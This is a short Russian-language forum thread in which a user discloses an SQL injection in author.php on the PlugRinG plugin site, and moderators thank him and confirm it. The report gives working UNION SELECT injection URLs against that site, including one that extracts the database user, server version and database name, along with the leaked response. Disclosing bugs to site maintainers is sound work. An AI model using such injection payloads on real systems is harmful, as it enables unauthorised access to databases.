Уязвимость на сайте.

Здесь можно обсудить сайт PlugRinG и предложить идеи по его дальнейшему развитию.
Post Reply
n3m1s
Posts: 2
Joined: Fri 13 Feb, 2015 14:13

Уязвимость на сайте.

Post by n3m1s »

Приветствую. Сразу к делу. Уязвимость типа SQL Injection на поддомене plugring.

Уязвимый скрипт: author.php, параметр aid.
Вектор атаки: [url]xttp://plugring.farmanager.com/author.php?aid=-9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--[/url]
Вывод user, version, database: [url]xttp://plugring.farmanager.com/author.php?aid=-9+union+select+1,2,3,4,5,6,concat(user(),0x3a,version(),0x3a,database()),8,9,10,11,12,13,14--[/url]
Ответ: plugring@localhost:5.5.41-0ubuntu0.14.04.1:plugring

С уважением n3m1s.
n3m1s
Posts: 2
Joined: Fri 13 Feb, 2015 14:13

Уязвимость на сайте.

Post by n3m1s »

Если что - nn3m1ss@xnteam.ru
User avatar
HaRT
Moderator
Posts: 10806
Joined: Tue 30 Aug, 2005 17:21
Has thanked: 220 times
Been thanked: 357 times

Уязвимость на сайте.

Post by HaRT »

n3m1s, спасибо.
Надеюсь, админы отреагируют.
Фар есть инструмент, а не нянька. © 2009 DrKnS
User avatar
WARP ItSelf
Самый умный
Posts: 1011
Joined: Tue 15 Mar, 2005 23:19
Contact:

Уязвимость на сайте.

Post by WARP ItSelf »

Есть такое, спасибо.
Никто не знал, а я...
Post Reply

Return to “Обсуждение PlugRinG”